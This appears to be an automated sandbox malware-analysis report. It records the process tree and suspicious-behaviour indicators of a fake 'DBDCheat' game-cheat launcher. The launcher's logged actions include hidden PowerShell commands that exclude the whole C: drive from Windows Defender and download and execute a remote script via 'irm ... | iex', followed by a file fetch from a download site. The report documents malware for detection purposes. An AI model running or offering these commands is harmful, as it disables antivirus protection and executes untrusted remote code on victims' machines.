Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe
Token: SeShutdownPrivilege	5040	chrome.exe
Token: SeCreatePagefilePrivilege	5040	chrome.exe

Suspicious use of FindShellTrayWindow 45 IoCs

pid	Process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
6044	msedge.exe
6044	msedge.exe
2552	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe
5040	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 2548	5040	chrome.exe	81
PID 5040 wrote to memory of 2036	5040	chrome.exe	82
PID 5040 wrote to memory of 2036	5040	chrome.exe	82
PID 5040 wrote to memory of 4448	5040	chrome.exe	83
PID 5040 wrote to memory of 4544	5040	chrome.exe	84
PID 5040 wrote to memory of 4544	5040	chrome.exe	84
PID 5040 wrote to memory of 1008	5040	chrome.exe	85
PID 5040 wrote to memory of 1008	5040	chrome.exe	85
PID 5040 wrote to memory of 6056	5040	chrome.exe	86
PID 5040 wrote to memory of 6056	5040	chrome.exe	86
PID 5040 wrote to memory of 672	5040	chrome.exe	88
PID 5040 wrote to memory of 672	5040	chrome.exe	88
PID 5040 wrote to memory of 2192	5040	chrome.exe	90
PID 5040 wrote to memory of 2192	5040	chrome.exe	90
PID 5040 wrote to memory of 3180	5040	chrome.exe	91
PID 5040 wrote to memory of 4556	5040	chrome.exe	93
PID 5040 wrote to memory of 5476	5040	chrome.exe	94
PID 5040 wrote to memory of 5584	5040	chrome.exe	95
PID 5040 wrote to memory of 4756	5040	chrome.exe	96
PID 5040 wrote to memory of 4756	5040	chrome.exe	96
PID 5040 wrote to memory of 4728	5040	chrome.exe	97
PID 5040 wrote to memory of 4728	5040	chrome.exe	97
PID 5040 wrote to memory of 1516	5040	chrome.exe	98
PID 5040 wrote to memory of 1516	5040	chrome.exe	98
PID 5040 wrote to memory of 1492	5040	chrome.exe	99
PID 3364 wrote to memory of 5460	3364	Launcher.exe	105
PID 3364 wrote to memory of 1072	3364	Launcher.exe	106
PID 3364 wrote to memory of 6044	3364	Launcher.exe	109
PID 6044 wrote to memory of 3568	6044	msedge.exe	110
PID 6044 wrote to memory of 1364	6044	msedge.exe	112
PID 6044 wrote to memory of 388	6044	msedge.exe	113
PID 6044 wrote to memory of 388	6044	msedge.exe	113
PID 6044 wrote to memory of 388	6044	msedge.exe	113
PID 6044 wrote to memory of 1008	6044	msedge.exe	114
PID 6044 wrote to memory of 1008	6044	msedge.exe	114
PID 6044 wrote to memory of 1892	6044	msedge.exe	115
PID 6044 wrote to memory of 2348	6044	msedge.exe	116
PID 6044 wrote to memory of 1892	6044	msedge.exe	115
PID 6044 wrote to memory of 1892	6044	msedge.exe	115
PID 6044 wrote to memory of 2348	6044	msedge.exe	116
PID 6044 wrote to memory of 2348	6044	msedge.exe	116
PID 6044 wrote to memory of 3252	6044	msedge.exe	118
PID 6044 wrote to memory of 3048	6044	msedge.exe	119
PID 6044 wrote to memory of 3252	6044	msedge.exe	118
PID 6044 wrote to memory of 3048	6044	msedge.exe	119
PID 6044 wrote to memory of 4672	6044	msedge.exe	121
PID 6044 wrote to memory of 2636	6044	msedge.exe	122
PID 2636 wrote to memory of 4604	2636	msedge.exe	123
PID 5040 wrote to memory of 3000	5040	chrome.exe	127
PID 6044 wrote to memory of 2340	6044	msedge.exe	128
PID 6044 wrote to memory of 2340	6044	msedge.exe	128
PID 6044 wrote to memory of 2340	6044	msedge.exe	128
PID 6044 wrote to memory of 2592	6044	msedge.exe	129
PID 6044 wrote to memory of 2592	6044	msedge.exe	129
PID 6044 wrote to memory of 2592	6044	msedge.exe	129
PID 6044 wrote to memory of 2552	6044	msedge.exe	130
PID 2552 wrote to memory of 2544	2552	msedge.exe	131
PID 2552 wrote to memory of 3376	2552	msedge.exe	132
PID 2552 wrote to memory of 2292	2552	msedge.exe	133
PID 2552 wrote to memory of 2292	2552	msedge.exe	133
PID 2552 wrote to memory of 2292	2552	msedge.exe	133
PID 2552 wrote to memory of 4444	2552	msedge.exe	134
PID 2552 wrote to memory of 4444	2552	msedge.exe	134
PID 2552 wrote to memory of 5780	2552	msedge.exe	137

C:\Windows\System32\rundll32.exe
"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL "C:\Users\Admin\AppData\Local\Temp\Dead by Daylight.url"
1⤵
PID:1076

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe29a2c728,0x7ffe29a2c734,0x7ffe29a2c740
  2⤵
  PID:2548
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1720,i,6239471886297778498,18445595624374645534,262144 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=1976 /prefetch:2
  2⤵
  PID:2036
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2284,i,10860449221592093523,10458829829912092656,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2292 /prefetch:11
  2⤵
  - System Time Discovery
  PID:4448
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,208269849963266433,4402748929220193739,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=2416 /prefetch:13
  2⤵
  PID:4544
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3248,i,5520448740643005757,8597852672014321133,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:1008
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3284,i,1720617889335919999,9823968221324167748,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3332 /prefetch:1
  2⤵
  PID:6056
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4460,i,7910191768420418336,3297606912849704025,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4480 /prefetch:9
  2⤵
  PID:672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4748,i,12664609571888529896,12493700647975015598,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4760 /prefetch:1
  2⤵
  PID:2192
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5520,i,1695978987774179275,2607165768374523113,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5524 /prefetch:14
  2⤵
  PID:3180
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5980,i,8750083517768887277,434673335071072620,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5960 /prefetch:14
  2⤵
  PID:4556
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5984,i,6833060023443948798,5368252048588769664,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5992 /prefetch:14
  2⤵
  PID:5476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5956,i,14215665388990082379,10089225300694939990,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=6076 /prefetch:14
  2⤵
  PID:5584
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=4476,i,6986449896894510631,3377801586429372197,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4512 /prefetch:1
  2⤵
  PID:4756
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4784,i,1764552242644367626,8876534746984068379,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4472 /prefetch:1
  2⤵
  PID:4728
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3344,i,4987549192174512572,17243000364137248383,2097152 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=3708 /prefetch:1
  2⤵
  PID:1516
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=3712,i,11506192792779020920,15975927718009209786,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5980 /prefetch:14
  2⤵
  - NTFS ADS
  PID:1492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5720,i,940985991868829282,9334164917441700559,262144 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=5524 /prefetch:10
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3000
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=1212,i,14044219386656688892,12211520795225261663,524288 --field-trial-handle=1980,i,5297622122379621624,6155879615225353356,262144 --variations-seed-version=20260513-170108.306000-production --mojo-platform-channel-handle=4592 /prefetch:14
  2⤵
  PID:4960

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:5500

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5936

C:\Windows\System32\DataExchangeHost.exe
C:\Windows\System32\DataExchangeHost.exe -Embedding
1⤵
PID:1776

C:\Users\Admin\Desktop\DBDCheat\Launcher.exe
"C:\Users\Admin\Desktop\DBDCheat\Launcher.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:5460
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm 'https://codeberg.org/handswork/test/raw/branch/main/test.txt' | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1072
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://igk.filexspace.com/getfile/SFMGEGN?title=coreDependency
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:6044
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2dc,0x344,0x7ffdfd9dc188,0x7ffdfd9dc194,0x7ffdfd9dc1a0
    3⤵
    PID:3568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1776,i,11174258042274999648,4009016759604146243,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=2304 /prefetch:11
    3⤵
    - System Time Discovery
    PID:1364
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1608,i,6734786413352317515,16428607050915399284,262144 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=2272 /prefetch:2
    3⤵
    PID:388
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2452,i,12323200291230981583,1666862026437200600,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=2700 /prefetch:13
    3⤵
    PID:1008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3408,i,1166828549023874695,9108167449873423569,2097152 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
    3⤵
    PID:1892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3428,i,363007934361503105,5966001550369788833,2097152 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=3480 /prefetch:1
    3⤵
    PID:2348
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4888,i,7480867822629755311,14805438779415353804,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=4960 /prefetch:14
    3⤵
    PID:3252
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4892,i,9784514461662767371,15741915833971296995,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=5004 /prefetch:14
    3⤵
    PID:3048
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,15153133073047338265,10618788885061220700,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
    3⤵
    PID:4796
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5764,i,15153133073047338265,10618788885061220700,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=5780 /prefetch:14
    3⤵
    PID:4672
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.ProfileImport --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5960,i,17882576345124107953,10404694055988724656,524288 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:14
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\cookie_exporter.exe
      cookie_exporter.exe --cookie-json=1128
      4⤵
      PID:4604
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5784,i,718834769847808445,7906118279882626402,2097152 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=5852 /prefetch:1
    3⤵
    PID:2340
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3380,i,353461433179102537,10320590077814181430,2097152 --field-trial-handle=2276,i,17227650605987078896,13728551312900511542,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:1
    3⤵
    PID:2592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2552
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x23c,0x240,0x244,0x210,0x2f0,0x7ffdfd9dc188,0x7ffdfd9dc194,0x7ffdfd9dc1a0
      4⤵
      PID:2544
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1832,i,5965866421426459173,1537581276894562989,524288 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=2160 /prefetch:11
      4⤵
      System Time Discovery
      PID:3376
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1612,i,4354111511833016308,12450059671436808136,262144 --field-trial-handle=2128,i,12257636512138881135,13375862012186024133,262144 --variations-seed-version --mojo-platform-channel-handle=2124 /prefetch:2
      4⤵
      PID:2292
